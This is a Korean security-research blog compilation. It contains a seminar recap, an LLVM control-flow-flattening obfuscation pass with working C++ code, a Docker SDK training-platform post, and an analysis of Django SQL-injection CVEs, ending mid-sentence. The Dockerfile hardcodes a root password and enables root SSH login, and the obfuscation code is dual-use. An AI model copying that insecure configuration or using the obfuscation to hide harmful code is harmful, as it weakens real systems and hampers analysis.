네번째 발표는 저희 회사에서 많은 귀여움을 받고 있는 윤석찬 선임 연구원이 발표 해 주셨습니다.
+ +윤석찬 연구원은 점점 스택이 높게 쌓여지는 모던 웹 어플리케이션에서 어떤 방식의 취약점을 찾을 수 있고, 이를 보완하는 방법에 대해 소개해 주셨습니다. 눈높이에 맞춰 하나씩 차근차근 알려주는 윤석찬 연구원의 스윗함에 빠질것 같았지만 겨우겨우 살아 돌아왔네요. 이 발표는 윤석찬 연구원이 직접 여러 프로젝트를 진행하며 배운 내용을 바탕으로 하고 있으니, 굉장히 practical한 발표라고 볼 수도 있겠네요!
+ +백엔드, 프론트엔드에서 발생할 수 있는 일반적인 취약점들과, Django, React.js와 같은 특정한 플랫폼, 프레임워크에서만 발생할 수 있는 취약점들을 잘 알려 주셔서 너무 좋았다는 평이 가득합니다.
+ +영상에서는 2:48:30부터 석찬님의 발표가 시작됩니다. 평소 CTF를 통해 웹해킹은 어느정도 할 수 있지만, real-world에 입문하고 싶은 웹해커들에게 이 발표를 추천하는 바입니다. 🐞
+ +
+
+ 발표 현장
+
다섯번째 발표는 스틸리언의 한호정 연구원님이 진행해주셨습니다
+ +한호정 연구원님은 해당 발표에서 Blockchain에 대한 취약점 분석 외에 MEV(Miner Extractable Value)에 대해서 소개해주셨습니다 +Blockchain에 대한 Security Audit 산업이 MEV에 대한 research로도 발전할 것이라고 보는 한호정 연구원님의 견해는 매우 흥미로운것같습니다
+ +해당 발표에서는 MEV가 무엇인지, 또 MEV에는 어떠한 종류들이 있었는지, MEV를 완화시키거나 제거하기위해서 어떠한것들이 존재하는지, 마지막으로 한호정연구원님이 직접 MEV에 대해서 추출한 경험담에 대해서 소개합니다
+ +영상에서는 3:27:38부터 호정님의 발표가 시작됩니다. 평소 Blockchain에 대해서 관심있는 분들이라면 한번 시청해보시는것을 추천드립니다. 💰
+ +이제 첫번째 Stealien Securit Seminar를 모두 돌아 봤습니다. 흥미진진한 주제로 발표해 주신 발표자님들 모두에게 감사드리며, 스틸리언에 관심을 가져주시고 방문해주신 분들에게 무한한 감사를 보냅니다. 또한, 비록 현장에 계시진 못했지만 온라인으로 저희를 응원해 주신 분들에게도 감사를 드립니다.
+ +앞으로도 멋지게 발전해 나가는 스틸리언과 스틸리언의 해커들이 되도록 하겠습니다.
+ +감사합니다.
+ +Stealien Security Leader, 스틸리언 주관 멘토링 프로그램 ↩
+LLVM을 이용하여 난독화를 할 수 있으면 이를 기반으로 다양한 플랫폼에서 LLVM을 사용하여 빌드되는 코드들에 대한 공통 난독화 툴을 만들 수 있을 것이라고 생각하였습니다.
+ +이를 위해 여러가지 난독화 및 암호화 패스를 개발하였고 이 글에서는 그 중 한 가지인 흐름 평면화 패스의 개발 과정에 대해 소개하겠습니다.
+ +LLVM의 정식 명칭은 Low Level Virtual Machine
입니다.
하지만 이 프로젝트의 핵심은 기존의 virtual machine 개념보다는 모듈화 되고 재사용 가능한 컴파일러 기술을 의미합니다. 그리고 이것은 target independent한 optimizer, target specific 한 어셈블리 코드를 생성하는 code generator 같은 컴파일러 도구들과 프로그래밍 언어와 어셈블리 코드 사이에 LLVM intermediate representation으로 알려진 LLVM IR이라는 중간 단계의 언어로 이루어져 있습니다.
+ +이 글에서는 LLVM에서 모듈화된 컴파일러를 제작할 수 있는 구조인 패스를 통해 흐름 난독화를 하였습니다.
+ +흐름 평면화, control flow flattening
은 코드의 흐름을 평면화 시키는 난독화 기술입니다. Loop, conditional branch 같은 코드의 흐름을 전부 하나의 거대한 switch 문에 집어넣어서 모든 다른 블록으로의 이동이 단 하나의 블록으로부터 이루어지도록 만들어 코드를 분석하기 어렵게 만듭니다. 흐름 그래프가 마지막 사진과 같은 구조로 변경됩니다.
이 글에서는 llvm 13 버전을 바탕으로 LLVM을 빌드 하였습니다.
+ +아래 cmake 명령이 정상적으로 실행된 후 ninja
를 통해 빌드할 수 있습니다.
LLVM 개발은 샘플 패스인 llvm/lib/Transforms/Hello를 덮어씌워 흐름 평면화를 위한 커스텀 패스를 개발하였습니다.
+ +cmake -G Ninja -DLLVM_PARALLEL_LINK_JOBS=1 -DCMAKE_BUILD_TYPE=Debug -DLLVM_ENABLE_PROJECTS=clang ../llvm-project/llvm
+
LLVM에서 Function 클래스 아래에 존재하는 Basic Block들을 흐름 평면화의 개념에 따라 하나의 거대한 Switch Instruction 아래에 집어넣음으로써 구현해 낼 수 있습니다.
+ +이처럼 수정을 시도할 경우 LLVM Verifier에서 수정된 내용이 유효한지 검증합니다. 흐름 그래프와 관련된 검증에는 preds라는 어떤 블록에서 이 블록으로 이동할 수 있는지에 대한 정보가 주로 사용되는데, 이와 관련된 아래 3가지 검증에서 오류가 자주 발생합니다.
+ +phi node의 경우 모든 케이스와 preds가 일치해야 한다.
+ + PHINode should have one entry for each predecessor of its parent basic block!
+ %62 = phi i32 [ %30, %23 ], [ %35, %32 ], [ %40, %37 ], [ %60, %54 ], !dbg !1211
+ LLVM ERROR: Broken module found, compilation aborted!
+
블록 A에서 호출하는 변수는 entry block에서 블록 A에 도달하기 전에 정의되어야 한다.
+ + Instruction does not dominate all uses!
+ %alloc = alloca i64, align 8
+ %load = load i64, i64* %alloc, align 8
+ LLVM ERROR: Broken module found, compilation aborted!
+
Landingpad를 가진 블록은 반드시 invoke에 의해서 호출되어야 한다.
+ + Block containing LandingPadInst must be jumped to only by the unwind edge of an invoke.
+ LLVM ERROR: Broken module found, compilation aborted!
+
이 문제들 중 1번과 2번은 opt
에 기본으로 내장되어 있는 –reg2mem 옵션을 사용함으로써 대부분 해결할 수 있습니다. 이 옵션은 phi 노드들을 제거하고 모든 allocation을 entry block에서 하도록 수정해줍니다. 이를 적용함으로써 흐름 평면화를 진행하기 쉬워집니다. 다만 이 옵션을 적용하여도 남아있는 phi node가 있는 경우가 있어 이에 대한 예외처리를 해야 합니다.
3번의 경우 switch-case 블록에서 호출할 수 없기 때문에 예외처리를 해야 합니다.
+ +우선 switch-case 문에서 호출할 수 있는 블록들을 확인해야합니다. Function 클래스에 iterator를 돌면서 위의 3번, LandingPad를 가졌는지 확인하고 아닌 것들을 벡터 형태로 수집합니다. Allocation이 이루어지는 블록은 따로 분리해 두어야 하기 때문에 entry block을 제거해주어야 합니다.
+ +vector<BasicBlock *> origBB;
+for (Function::iterator i = F.begin(); i != F.end(); ++i)
+{
+ BasicBlock *block = &*i;
+ if (!block->isLandingPad())
+ {
+ origBB.push_back(block);
+ }
+}
+origBB.erase(origBB.begin());
+return origBB;
+
그 다음 IRBuilder를 사용하여 Switch Instruction을 가지게 될 Basic Block을 만들어야 합니다. Switch 블록에는 default로 어떤 블록으로 점프할 것인지를 지정해 주어야 하는데 이것 역시 새로운 빈 블록, swDefault를 생성하여 지정해 주었습니다.
+ +BasicBlock *swDefault = BasicBlock::Create(Context, "StealienCFGSwitchDefault", &F, *origBB.begin());
+IRBuilder<> IRBswDefault(swDefault);
+IRBswDefault.CreateBr(*origBB.begin());
+
+BasicBlock *startSwitch = BasicBlock::Create(Context, "StealienCFGswitch", &F, swDefault);
+IRBuilder<> IRBswitch(startSwitch);
+
그 다음 Switch에서 사용할 변수를 Entry Block에서 allocation을 해 준 뒤, Switch 블록에서 이 값을 Value add로 가져오도록 설정합니다.
+ +AllocaInst *switchVar = new AllocaInst(llvm::Type::getInt64Ty(Context), AddrSpace, nullptr, AllocaAlign, "", entryBlock->getTerminator());
+LoadInst *load = IRBswitch.CreateAlignedLoad(llvm::Type::getInt64Ty(Context), switchVar, MaybeAlign(8));
+Value *add = IRBswitch.CreateAdd(load, ConstantInt::get(llvm::Type::getInt64Ty(Context), 762167));
+
그 후 IRBSwitch에 Switch Instruction을 생성합니다. randomArr은 특정 범위의 수를 랜덤한 순서로 섞은 리스트이며, 이 값들을 사용해서 아래와 같이 case들을 추가해줍니다.
+ +switchI = IRBswitch.CreateSwitch(add, swDefault, randomArr[origBB.size()]);
+for (BasicBlock *setSwitchBlocks : origBB)
+{
+ BasicBlock *selectedBlock = setSwitchBlocks;
+ if(!this->hasPHI(selectedBlock)) {
+ ConstantInt *constCase = llvm::ConstantInt::get(llvm::Type::getInt64Ty(Context), randomArr[index]);
+ switchI->addCase(constCase, selectedBlock);
+ }
+}
+
마지막으로 origBB에 있는 BasicBlock 들의 Terminator를 BranchInst인지 그리고 Successor 개수에 따라 분류할 수 있습니다. BranchInst는 1개 혹은 2개의 Successor를 가지며, 이것들이 수정 대상입니다.
+ +따라서 Branch Instruction에서 이동할 블록에 지정된 값을 Switch Instruction에서 찾아서 위에서 생성해둔 switchVar에 저장해주고 Switch Block으로 돌아가면 자동으로 이걸 로드해서 원하는 블록으로 이동하게 될 것입니다. Successor의 개수가 1인 경우에 대한 코드는 아래와 같습니다. 2인 경우에도 둘 다에 대해 동일하게 처리해주면 됩니다.
+ +아래 코드에서는 Switch Instruction에서 가져온 intCase 값이 직접 드러나는 것을 숨기기 위해 추가적인 덧셈과 곱셈을 수행하도록 하였습니다.
+ +if(!isa<BranchInst>(selectedBlock->getTerminator())){
+ continue;
+}
+uint64_t successors = selectedBlock->getTerminator()->getNumSuccessors();
+if (successors == 1)
+{
+ BasicBlock *follow = selectedBlock->getTerminator()->getSuccessor(0);
+ ConstantInt *intCase = switchI->findCaseDest(follow);
+ if (intCase == NULL)
+ {
+ continue;
+ }
+ selectedBlock->getTerminator()->eraseFromParent();
+ IRBuilder<NoFolder> tempBuilder(selectedBlock);
+ uint64_t origCase = intCase->getSExtValue() - addVal;
+ uint64_t randVal = 17+rand()%10000;
+ Value * mul = tempBuilder.CreateMul(ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase/randVal), ConstantInt::get(llvm::Type::getInt64Ty(Context), randVal));
+ Value * add = tempBuilder.CreateAdd(mul, ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase%randVal));
+ tempBuilder.CreateAlignedStore(add, switchVar, MaybeAlign(8));
+ tempBuilder.CreateBr(startSwitch);
+}
+
위와 같은 Control Flow Flattening
작업을 수행하면 아래와 같은 코드를 얻을 수 있습니다.
Opt의 -dot-cfg
옵션을 사용하여 흐름 평면화 전용 전과 후를 비교하면 StealienCFGswitch 라는 Switch 블록이 추가된 것과 모든 블록이 다시 이 블록으로 돌아가는 난독화 기능이 적용된 것을 확인할 수 있습니다.
이러한 난독화 기능은 다른 난독화 기능들과 함께 적용하면 훨씬 더 분석하기 어려운 코드를 만들어 낼 수 있습니다.
+ ++ |
---|
기존 흐름 그래프 | +
+ |
---|
평면화 모듈 적용 후 흐름 그래프 | +
안녕하세요. 스틸리언 R&D팀 윤석찬입니다. 저는 스틸리언에서 모의해킹, 보안 기술 연구 뿐만 아니라 다양한 제품을 개발하고 있기도 합니다. 제가 개발에 참여한 대표적인 것 중 하나는 Cyber Drill System이라는 교육 플랫폼입니다. 스틸리언에서는 이 플랫폼을 이용해 학생 혹은 실무자 분들을 대상으로 교육하고 있습니다. 입사하고 약 2개월이 되던 때 즈음 이 프로젝트에 참가하게 되었는데, 벌써 3년째가 되었네요 😄 저는 이 프로젝트를 좀 더 고도화하고 새로운 형식의 플랫폼을 위해서 노력하고 있습니다.
+ +최근 몇몇 워게임, 해킹대회(CTF) 중에는 취약한 인스턴스를 할당받고, 이것을 공격하는 형태의 플랫폼이 증가하고 있습니다. 대표적으로는 HackTheBox, 드림핵 플랫폼이 있습니다. 이 중 HackTheBox 플랫폼은 실제 인스턴스를 할당받는 방식으로 구현되었으며, 독립적인 가상 서버에서 실습할 수 있기 때문에 좀 더 다양한 공격을 시도해볼 수 있게 됩니다.
+ +가령 일반적인 CTF 플랫폼에서는 하나의 가상서버에 여러 사용자가 접근하여 취약점을 공격하기 때문에 LPE* 기법을 쓰지 못하도록 막아놓는 경우가 일반적인 반면, HackTheBox는 타겟의 쉘을 얻는 것에 그치지 않고 가상서버에서 얻은 쉘을 이용해 LPE까지 유도하기도 합니다. 저도 HackTheBox와 같은 인스턴스 할당 방식의 교육 훈련 시스템을 만들어서 효용성 높은 훈련 시스템을 만들고자 했고, docker command 중 몇 개를 python 코드에 매핑만 해두어도 충분히 구현할 수 있겠다는 생각이 들었습니다. 그렇게 관련 자료를 찾아보다 Docker SDK라는 라이브러리를 찾을 수 있었습니다.
+ +* LPE : Local Privilege Escalation
+ +Docker SDK 라이브러리는 docker 안의 대부분의 명령어를 파이썬 코드로 매핑해놓은 라이브러리입니다. 그런데 제가 생각했던 점과 다른 점이 있다면 이 라이브러리는 docker [command]
형식의 커맨드를 매핑해놓은게 아니라, /var/run/docker.sock
에 마운트된 유닉스 소켓을 통한 HTTP API 통신으로 매핑해놓았다는 것입니다. (정확히는 docker [command]
방식도 내부적으로는 유닉스 소켓을 통한 HTTP API 통신을 합니다.)
실제로 공식홈페이지에 들어가보면 도커 명령어를 파이썬 명령어로 실행시킬 수 있음을 확인할 수 있습니다.
+ +Using echo command in alpine image
+>>> import docker
+>>> client = docker.from_env()
+>>> client.containers.run('alpine', 'echo hello world')
+b'hello world\n'
+
Managing your containers
+>>> client.containers.list()
+[<Container '45e6d2de7c54'>, <Container 'db18e4f20eaa'>, ...]
+>>> container = client.containers.get('45e6d2de7c54')
+>>> container.attrs['Config']['Image']
+"bfirsh/reticulate-splines"
+>>> container.logs()
+"Reticulating spline 1...\n"
+>>> container.stop()
+
[참고] : https://docker-py.readthedocs.io/en/stable/
+ +위처럼 Docker SDK를 통해 docker command를 자동화할 수 있고, 만들 수 있는 것들이 무궁무진해집니다. 이 라이브러리를 사용하면 docker를 통한 이미지, 컨테이너 관리 작업을 코드 상에서 안정적으로 구현할 수 있습니다. 저는 이것을 통해 AWS EC2 서비스 같은 VPC (Virtual Private Cloud) 서비스를 구현해볼 수 있을 것 같다는 생각이 들었습니다.
+ +그래서 Docker SDK 라이브러리로 처음 구현해본 서비스는 VPC 서비스입니다. 제가 만든 VPC 서비스의 주요 기능은 사용자가 버튼을 클릭하면 SSH 서버를 제공하는 것입니다. 이 기능을 구현하기 위해 내부적으로 거쳐야 하는 과정은 다음과 같습니다.
+ +openssh-server
패키지가 설치된 컨테이너 이미지를 기반으로 컨테이너를 생성하고, 사용자가 입력한 포트번호로 컨테이너의 22번 포트를 연결한다.tail -f /dev/null
, `
+sleep infinity
)위 과정에서 사용된 컨테이너 이미지를 빌드하기 위한 Dockerfile
은 아래와 같습니다.
FROM ubuntu:latest
+
+RUN apt-get update -y
+RUN apt-get install -y openssh-server vim
+
+# change root password
+RUN echo 'root:admin123' | chpasswd
+
+# change ssh configure
+RUN echo PermitRootLogin yes >> /etc/ssh/sshd_config && service ssh restart
+
+RUN service ssh restart
+
(tl;dr) 위와 같은 식으로 VPC 서비스를 구현하고 제가 다니는 학교에 프로젝트 과제로 제출해서 좋은 성적을 받은 경험이 있습니다. ^^ v 소스코드는 현재 비공개로 되어있으며 현재는 사내 git 내부 프로젝트로 옮겨두었습니다.
+ +저는 국가정보원에서 주최한 2021 사이버공격방어대회(CCE)에 한국수력원자력 연합팀으로 공공부문에 참가한 경험이 있습니다. CCE는 우리나라에서 규모가 큰 대회이고 본선에서 공방전 형식 등 다양한 포맷을 시도하는 것으로 유명한 대회입니다. 저는 Jeopardy 방식이 아닌 새로운 형식의 대회를 처음 참가했던 터라 새로운 형식의 대회에 크게 감명 받았습니다.
+ + + +본선 대회 형식은 라운드 별로 나뉘었던 것으로 기억합니다. 팀 내에서 제가 주도적으로 참여했던 첫번째 라운드는 출제진 쪽에서 제공한 가상 인스턴스에 ssh로 접속해서 취약한 소스코드를 수정하고 SLA 체크 후 점수가 변동되는 형식이었습니다. SLA 체크는 자동 스크립트를 통해 가상 인스턴스의 가용성, 취약성을 검사입니다. 30초마다 문제 출제진 쪽에서 만든 SLA 체크 스크립트를 돌려서 취약점이 아직 존재하거나 서비스의 가용성이 훼손된 경우 팀 점수에서 차감되는 형식입니다.
+ +CCE가 끝나고 나서 든 생각은, 제가 만든 VPC 서비스를 좀 더 발전시켜서 CCE 본선에서 봤던 시스템을 구현할 수 있겠다는 것이었습니다.
+ +2022년 내에 교내 보안대회에서 사용하겠다는 목표로 시큐어 코딩 교육 플랫폼을 만들었습니다. 원래는 ssh 정보만 주고 vi
명령으로 소스코드를 수정하는 형식으로 운영하고자 했으나, 터미널에 익숙하지 않은 분들이 많다는 점을 알게 되어 WEB IDE를 제공하는 형식으로 개발했습니다. WEB IDE는 monaco-editor
라이브러리를 사용하여 React를 기반으로 만들어졌고, 이미지화하여 활용성을 높게 하였습니다.
* WEB IDE : https://github.com/ch4n3-yoon/online-monaco-editor
+ +WEB IDE를 생성하는 과정은 다음과 같습니다.
+SLA 체크 과정은 다음과 같습니다.
+(tl;dr) 이 프로젝트도 소스코드는 현재 비공개로 되어있으며 현재는 사내 git 내부 프로젝트로 옮겨두었습니다.
+ +실제로 해당 플랫폼으로 경희대학교에서 SW 보안대회를 진행했습니다. RAON, ENKI 등 국내 유명한 보안 업체 소속인 제 친구들과 재직자 분들께 부탁을 해서 양질의 문제를 출제할 수 있었습니다. 실제 문제 풀이자가 그렇게 많지 않아 사용자 피드백이 적다는 점이 아쉽긴하나, 이 대회를 계기로 회사 내에서 만들고 있는 사이드 프로젝트에 큰 도움이 되었습니다.
+ +Docker SDK를 통해 실제 소프트웨어 보안대회에 사용되는 플랫폼을 개발하기까지의 과정을 한 예시로 설명드렸습니다. 클라우드 서비스 상품과 라이브러리는 지금도 다양하게 제공되고 있어서 쉽게 기능을 개발할 수 있습니다.
+ +++ + +거인의 어깨 위에 서서 더 높은 가치를 만들어낼 수 있습니다.
+
안녕하세요. 스틸리언 R&D팀 윤석찬 연구원입니다. 이번 차례에도 제가 기술블로그에 글을 쓰게 되었습니다. 벌써 12월이 되었는데 다들 올해 원하시던 목표 이루셨는지요? 제가 올해 세웠던 목표 중 하나는 Python의 Django
나 Flask
, NodeJS의 express.js
처럼 대중적으로 사용되는 웹 프레임워크에서 유의미한 보안 취약점을 찾아서 제보하는 것이었습니다. 결과적으로 말씀드리자면 목표를 달성하진 못했지만, 그래도 Django라는 국제적으로 유명한 대형 오픈소스 프로젝트를 분석하면서 배웠던 점이 많았던 것 같습니다.
이 글에서는 2022년에 제보된 Django 1-day 취약점들과 제가 발견한 SQL Single Quote Unescaped Bug를 소개하고자 합니다. 글이 다소 길고 첨부된 소스코드가 많아서 PC에서 보시는 것을 추천드립니다.
+ +_
+ +올해는 Django 버전이 4.0으로 업그레이드된 첫 해로, 저 같이 Django를 즐겨서 사용하는 사용자로서는 의미있는 한해였다고 생각합니다. 4.0으로 업데이트되면서 뷰에서 async
기능을 사용할 수 있게 되었고, JSONField
, ArrayField
, BigAutoField
같은 새로운 데이터베이스 Field Type이 등장하기도 했습니다. 실제로 어떤 기능이 업데이트되었는지는 아래 링크에서 자세히 확인해볼 수 있습니다.
+ ++ +
올해도 Django에 여러 취약점이 제보되었습니다. 2021년 12월 6일 배포된 Django 4.0을 기준으로, 2022년에 Severity Level
*이 Critical
로 분류된 취약점은 총 3건이었고 모두 SQL Injection 취약점이었습니다.
* Severity Level
은 보안 취약점은 파급력에 따라 Low
, Medium
, High
, Critical
4가지 등급으로 분류됩니다. 이 중 Critical
등급은 가장 파급력이 높은 보안 취약점으로 평가됩니다.
Django는 2005년에 처음 시작되어 올해로 18년 째 유지되고 있는 대형 프로젝트입니다. 이 프로젝트에서 절대 발견되지 않을 것 같았던 SQL Injection 취약점이, 그것도 3개나 연달아서 발견되는 것은 이례적인 일이라고 생각해서 관심을 갖게 되었습니다. Django에 제보된 취약점은 아래 링크에서 확인해보실 수 있습니다.
+ ++ ++ + + +
Django에서는 ORM으로 SQL을 어떻게 실행하는지 알아둘 필요가 있습니다. 아래 링크에 Django ORM이 실제로 어떻게 쿼리를 만들고 실행하는지 정리해두었습니다.
+ ++ ++ +
CVE-2022-28346: Potential SQL injection in QuerySet.annotate()
, aggregate()
, and extra()
취약점이 발생하는 메소드는 django.db.models.query
에 지정된 QuerySet
클래스 내의 annotate()
, aggregate()
, extra()
메소드로, 이 세 메소드는 공통적으로 alias 기능이 내포되어 있다는 특징이 있습니다. 예를 들어 annotate()
메소드는 아래와 같이 사용합니다. 아래 예시를 보면 Count()
결과 값을 num_books
라는 이름으로 alias 처리하는 것을 볼 수 있습니다.
결과적으로 말하자면 이 취약점은 annotate()
메소드에 kwargs
방식으로 전달하여, kwargs
의 key
값으로 alias를 지정할 때 이 key
값을 검증하지 않기 때문에 발생합니다. annotate()
메소드를 수행하면 내부적으로는 아래와 같은 과정을 거칩니다.
QuerySet.annotate()
annotate()
메소드를 실행하면 QuerySet
클래스 내부 _annotate()
메소드 실행합니다.
QuerySet._annotate()
_annotate()
메소드에서는 kwargs
로 전달된 정보를 내부 변수 annotations
에 저장하고, 이를 Query
클래스의 add_annnotation()
에 전달합니다.
Query.add_annotation()
Query
클래스에서는 이전 QuerySet._annotate()
에서 전달된 annotations
를 내부 self.annotations
에 설정하여 Alias 기능을 구현합니다. 그리고 다른 클래스에서 설정된 self.annotations
를 가져올 때 @property
로 설정된 annotation_slect()
함수를 실행해서 self.annotations
를 반환합니다.
django.db.models.sql.compiler
SQLCompiler
클래스의 as_sql()
메소드는 실제 실행될 SQL 쿼리를 만듭니다. self.select
에 저장된 값을 SQL AS
구문으로 쿼리를 생성합니다. QuerySet
클래스의 annotate()
메소드를 실행할 때 전달한 kwargs
의 키 값은 self.connection.ops.quote_name()
을 거쳐 SQL에 들어갑니다. 이 quote_name()
메소드는 각 DBMS 별로 정의되어 있습니다.
MySQL을 예로 들자면 Backtick 문자로 지정해주는 것을 볼 수 있습니다. 하지만 이 전까지 key
값에 대한 escape 처리가 없었기 때문에 여기서 SQL Injection 취약점이 발생할 수 있습니다.
해당 취약점은 Django 4.0.4에서 수정되었고 django.db.models.sql.query.Query
클래스에서 add_annotation()
메소드를 수행할 때 내부적으로 check_alias()
메소드를 호출하는 식으로 취약점이 제거되었습니다.
CVE-2022-28347: Potential SQL injection via QuerySet.explain(**options)
on PostgreSQL
이 취약점은 PostgreSQL 환경에서 Django QuerySet
의 explain()
메소드를 수행할 때 발생 가능한 SQL Injection 취약점입니다.
+https://docs.djangoproject.com/en/4.1/ref/models/querysets/#explain
+ +Django Project Docs에는 위 예시가 작성되어 있습니다. 위 예시처럼 explain()
은 실행하고자하는 데이터베이스 쿼리의 성능을 테스트하는 메소드입니다. 이 메소드를 실행하면 SQL의 EXPLAIN
명령을 사용할 수 있고, MySQL과 PostgreSQL에서는 특별히 EXPLAIN에 옵션까지 지정이 가능합니다.
이때 explain() 메소드의 구현에서 SQL Injection이 가능했던 CVE-2022-28347 취약점을 분석해보고자 합니다.
+ +QuerySet
QuerySet
클래스의 explain()
메소드는 위와 같이 정의되었습니다. 내부적으로 self.query.explain()
를 수행합니다. self.query
는 django/db/models/sql/query.py
에 정의된 Query
클래스의 객체입니다.
Query
Query
클래스의 explain()
메소드는 get_compiler()
메소드를 통해 compiler
를 가져오고 사용하는 DB에 맞추어 django.db.models.sql.compiler.SQLCompiler
를 상속한 클래스의 explain_query()
메소드를 실행시켜줍니다. 여기서 kwargs 형식으로 인자를 받는 **options
, 그리고 q.explain_info
가 ExplainInfo
객체로 설정되었음을 기억해야합니다.
SQLCompiler
SQLCompiler
클래스 내부의 explain_query()
메소드에서는 동일 클래스의 execute_sql()
를 실행합니다. execute_sql()
메소드는 실제로 self.as_sql()
메소드를 실행해서 컴파일된 SQL Query구문을 실행하는 메소드입니다. 실제 쿼리를 생성하는 as_sql()
메소드는 각 DBMS마다 정의된 explain_query_prefix()
메소드를 실행합니다.
django/db/backends/postgresql/operations.py
Postgresql을 위해 정의된 explain_query_prefix()
메소드입니다. 앞서 QuerySet
클래스의 explain()
메소드를 설명할 때 **options
에 kwargs 형식으로 dict
형식의 값이 들어갈 수 있음을 언급했습니다. 이 값이 그대로 explain_query_prefix()
메소드에 전달되며 prefix
에 그대로 쿼리가 저장되면서, options
에 저장된 dict
값 key 부분에서 SQL Injection이 가능해집니다.
이 취약점은 DatabaseOperations
클래스에 explain_options
변수를 두어 key
부분에 대한 검증 로직이 추가되며 수정되었습니다. 아무래도 options
의 key에 여러 값이 들어갈 수 있다보니, Django 사용자가 변수로 전달할 수 있는 여지를 인정한 것 같습니다.
CVE-2022-34265: Potential SQL injection via Trunc(kind)
and Extract(lookup_name)
arguments.
이 취약점은 django/db/models/query.py
에 정의된 QuerySet
클래스의 dates()
메소드로부터 시작됩니다. dates()
메소드의 쓰임은 아래 docs.djangoproject.com
링크에서 확인할 수 있습니다. 이 메소드는 내부적으로 Trunc
클래스를 사용하는데, Trunc
클래스에서 취약점이 발견되었습니다.
Trunc
위와 같이 dates()
메소드는 DateField
로 지정된 field
를 datetime.date
객체로 반환해주는 역할을 합니다. dates()
메소드를 실행할 때는 첫번째 field
인자 두번째 kind
인자를 넘깁니다. 이 중 두번째 kind
인자는 str
형식의 값을 받으며, django/db/models/functions/datetime.py
에 정의된 Trunc
클래스에 인자로 넘겨집니다.
위 Trunc
클래스는 TruncBase
클래스를 상속받은 형태로, DateField
를 datetime.date
객체로 변환시켜주는 클래스입니다. __init__()
메소드에서 expression
, kind
를 받아 내부 property로 저장합니다. Django Project Docs에 올라온 예시를 보았을 때 두 파라미터 모두 str
형식으로 사용자의 입력값이 충분히 들어갈 수 있습니다. 결과적으로 expression
파라미터는 부모클래스 __init__()
메소드에 전해지며 django/db/models/expressions.py
에 정의된 F
클래스로 저장됩니다. 하지만 kind
는 아무런 검증 없이 self.kind
에 저장된다는 점을 기억해두어야 합니다.
TruncBase
실질적으로 Django ORM으로 QuerySet
클래스를 SQL 쿼리로 변환하는 기능은, 동일 파일에 정의된 TruncBase
클래스의 as_sql()
메소드로 정의되어 있기 때문에 다음은 TruncBase
클래스를 분석해보는 것으로 합니다.
이는 인자로 넘겨진 self.output_field
변수의 type 별로 datetime_trunc_sql()
, date_trunc_sql()
, time_trunc_sql()
메소드를 호출합니다. 여기서 세 메소드 모두 이전 Trunc
클래스에서 사용자로부터 아무런 검증없이 받을 수 있는 self.kind
를 인자로 취한다는 점이 중요합니다. 이 메소드들은 각 데이터베이스 문법에 따라 각각 정의되어 있으며, 예시로 SQLite3에서는 아래와 같이 구현되었습니다.
DatabaseOperations
두 번째에 전달되는 인자 lookup_type
에는 이전 Trunc
클래스에서 사용자로부터 받은 인자 kind
가 전달이 되는데, 실제 SQL Query를 만들기까지 kind
값에 대한 아무런 검증이 없습니다. 때문에 kind
값을 통해 SQL Injection이 가능합니다.
django/db/models/functions/datetime.py
에 정의된 TruncBase
클래스의 as_sql()
메소드에 아래처럼 변경되었습니다.
as_sql()
메소드를 호출하고 나서 extract_trunc_lookup_pattern
을 인자로 넘겨진 kind
값과 정규식 기능을 통해 비교합니다. 정규식으로 검사하는 값은 _lazy_re_compile(r"[\w\-_()]+")
으로, dates()
메소드의 인자 kind
에 특수문자를 사용하지 못하도록 하여 SQL Injection 취약점을 수정했습니다.
KeyTransform
class위 세 개의 취약점이 크게 인상깊어서 올해 6월 경부터 Django 프레임워크에서 SQL Injection 취약점을 찾아내겠다는 목표를 갖고 취약점 분석을 시작했습니다. 그래서 결국 Oracle 데이터베이스 환경에서 특정 기능을 이용할 때 특수문자가 unescaped 되어 SQL 쿼리를 탈출할 수 있는 버그를 찾았습니다.
+ +KeyTransform
django.db.models.fields.json
에 정의된 KeyTransform
클래스는 MySQL의 JSON_EXTRACT()
함수를 Django ORM으로 구현하기 위해 만들어졌습니다. 아래는 KeyTransform
클래스의 as_mysql()
메소드가 정의된 부분입니다.
MySQL에서 사용되는 JSON_EXTRACT()
함수의 사용 예는 아래와 같습니다. 첫번째 인자로 JSON Document를 받고, 두 번째 인자로 Path를 받습니다. 아래 예시처럼 사용하여 JSON Document의 Path에 해당되는 값을 불러올 수 있습니다.
KeyTransform.as_oracle()
Django에서는 MySQL의 JSON_EXTRACT()
함수를 다른 DBMS에서도 사용할 수 있도록 하기 위해 아래와 같이 여러 함수를 중첩적으로 사용하여 구현해두었습니다. 아래는 Oracle DB 환경에서 JSON_EXTRACT()
함수를 구현해둔 것입니다.
KeyTransform.preprocess_lhs()
우선 첫번째로 호출하는 self.preprocess_lhs()
를 분석해볼 필요가 있습니다. lhs
는 Left-Hand Side의 줄임말로, Django에서는 내부적으로 쿼리를 생성할 때 사용되는 일종의 접미사라고 볼 수 있습니다. 이 메소드의 내용은 아래와 같습니다.
이 메소드에서는 기존 JSON에서 사용되는 특수문자를 escape 처리하기 위해 key_transforms
라는 변수를 반환합니다. 이 변수는 __init__
에서 만들어진 값이며 클래스 생성 시 전달한 key_name
값이 저장되어 있습니다.
compile_json_path()
다시 as_oracle()
메소드로 돌아와서, key_transforms
변수를 compile_json_path()
의 인자로 전달하는 것을 볼 수 있습니다.
이 compile_json_path()
함수는 인자로 받은 key_trancsforms
값이 int()
를 호출할 때 Exception이 난다면 json.dumps()
를 통해 변수를 JSON 형식으로 저장해 반환해줍니다. 이때 json.dumps()
는 백슬래시와 더블쿼터를 escape처리하는데, 싱글쿼터('
)는 백슬래시를 통해 처리되지 않기 때문에 SQL Query에 영향을 끼칠 수 있습니다.
또 다시 as_oracle()
메소드로 돌아와서 확인해보면, 싱글쿼터가 그대로 들어갈 수 있는 json_path
가 Format String으로 JSON_QUERY()
, JSON_VALUE()
함수 안에 그대로 들어가는 것을 확인할 수 있습니다.
따라서, 어떤 Django Application의 views.py
에 위와 같은 코드가 있다면 실제 Single Quotes Unescaped Bug를 트리거 할 수 있습니다.
이 버그는 실제 SQL Injection 공격까지 트리거 할 수 없습니다. ORACLE DBMS에서는 MySQL에서와 다르게 모든 함수의 각 인자를 검증하는 과정이 있기 때문입니다. 이번 SQL Injection 취약점은 JSON_QUERY()
